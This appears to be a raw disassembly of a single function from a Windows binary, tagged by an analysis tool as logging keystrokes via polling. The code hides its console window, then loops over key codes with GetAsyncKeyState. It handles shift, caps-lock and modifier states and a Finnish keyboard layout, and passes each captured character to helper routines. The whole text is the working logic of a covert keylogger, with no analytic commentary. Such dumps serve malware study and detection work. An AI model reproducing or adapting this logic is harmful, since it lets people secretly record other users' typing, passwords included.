Function at 0x140011672
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
jmp 0x14001e9e0
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0x200], rax
lea rcx, [0x1400390f5]
call fcn.140011997
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.fi_FI.utf8
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_setlocale]
xor eax, eax
cmp eax, 1
je 0x14001edbf
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 4], 8
jmp 0x14001ea64
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xe6
jg 0x14001edba
mov ecx, dword [rbp + 4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x14001edb5
mov ecx, dword [rbp + 4]
call fcn.140011055
movzx eax, al
test eax, eax
jne 0x14001edb5
mov edx, 2
mov ecx, dword [rbp + 4]
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov byte [rbp + 0x24], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001eac8
mov byte [rbp + 0x1f4], 1
jmp 0x14001eacf
mov byte [rbp + 0x1f4], 0
movzx eax, byte [rbp + 0x1f4]
mov byte [rbp + 0x44], al
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001eb0f
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001eb0f
mov dword [rbp + 0x1f4], 1
jmp 0x14001eb19
mov dword [rbp + 0x1f4], 0
movzx eax, byte [rbp + 0x1f4]
mov byte [rbp + 0x64], al
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x14001eb42
mov dword [rbp + 0x1f4], 1
jmp 0x14001eb4c
mov dword [rbp + 0x1f4], 0
movzx eax, byte [rbp + 0x1f4]
mov byte [rbp + 0x84], al
movzx eax, byte [rbp + 0x84]
test eax, eax
jne 0x14001eba2
cmp dword [rbp + 4], 0x41
jl 0x14001eb78
cmp dword [rbp + 4], 0x5a
jg 0x14001eb78
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x14001eb93
cmp dword [rbp + 4], 0x8e
je 0x14001eb93
cmp dword [rbp + 4], 0x8f
je 0x14001eb93
cmp dword [rbp + 4], 0x99
jne 0x14001eba2
movsx eax, byte [rbp + 0x24]
add eax, 0x20
mov byte [rbp + 0x24], al
jmp case.0x14001ed27.9
movzx eax, byte [rbp + 0x84]
test eax, eax
je 0x14001ebd9
cmp dword [rbp + 4], 0x41
jl 0x14001ebb9
cmp dword [rbp + 4], 0x5a
jle 0x14001ebd4
cmp dword [rbp + 4], 0x8e
je 0x14001ebd4
cmp dword [rbp + 4], 0x8f
je 0x14001ebd4
cmp dword [rbp + 4], 0x99
jne 0x14001ebd9
jmp case.0x14001ed27.9
movzx eax, byte [rbp + 0x84]
test eax, eax
je 0x14001ec22
cmp dword [rbp + 4], 0x41
jl 0x14001ebf8
cmp dword [rbp + 4], 0x5a
jg 0x14001ebf8
movzx eax, byte [rbp + 0x44]
test eax, eax
jne 0x14001ec13
cmp dword [rbp + 4], 0x8e
je 0x14001ec13
cmp dword [rbp + 4], 0x8f
je 0x14001ec13
cmp dword [rbp + 4], 0x99
jne 0x14001ec22
movsx eax, byte [rbp + 0x24]
add eax, 0x20
mov byte [rbp + 0x24], al
jmp case.0x14001ed27.9
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x14001ecdb
mov eax, dword [rbp + 4]
mov dword [rbp + 0x1f4], eax
mov eax, dword [rbp + 0x1f4]
sub eax, 0x30
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xb2
ja case.0x14001ec76.16
movsxd rax, dword [rbp + 0x1f4]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x1ee34]
mov eax, dword [rcx + rax*4 + 0x1edf0]
add rax, rcx
jmp rax
mov byte [rbp + 0x24], 0x21
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x22
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x23
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0xa4
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x25
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x26
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x2f
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x28
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x29
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x3d
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x3f
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x3b
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x3a
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x5f
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x2a
jmp case.0x14001ec76.16
mov byte [rbp + 0x24], 0x3e
jmp case.0x14001ed27.9
movzx eax, byte [rbp + 0x64]
test eax, eax
je case.0x14001ed27.9
mov eax, dword [rbp + 4]
mov dword [rbp + 0x1f4], eax
mov eax, dword [rbp + 0x1f4]
sub eax, 0x30
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xb2
ja case.0x14001ed27.9
movsxd rax, dword [rbp + 0x1f4]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x1ef10]
mov eax, dword [rcx + rax*4 + 0x1eee8]
add rax, rcx
jmp rax
mov byte [rbp + 0x24], 0x40
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0xa3
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x24
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x7b
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x5b
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x5d
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x7d
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x5c
jmp case.0x14001ed27.9
mov byte [rbp + 0x24], 0x7c
movzx r8d, byte [rbp + 0x24]
mov edx, 1
lea rcx, [rbp + 0xa8]
call fcn.140011550
nop
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x1e8], rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 0x1e8]
call fcn.14001115e
mov qword [rbp + 0x1f8], rax
mov rcx, qword [rbp + 0x1f8]
call fcn.14001173a
nop
lea rcx, [rbp + 0xa8]
call fcn.1400111cc
jmp 0x14001ea5c
jmp 0x14001ea3d
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002ac00]
call fcn.1400117df
mov eax, edi
mov rcx, qword [rbp + 0x200]
xor rcx, rbp
call fcn.140011488
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret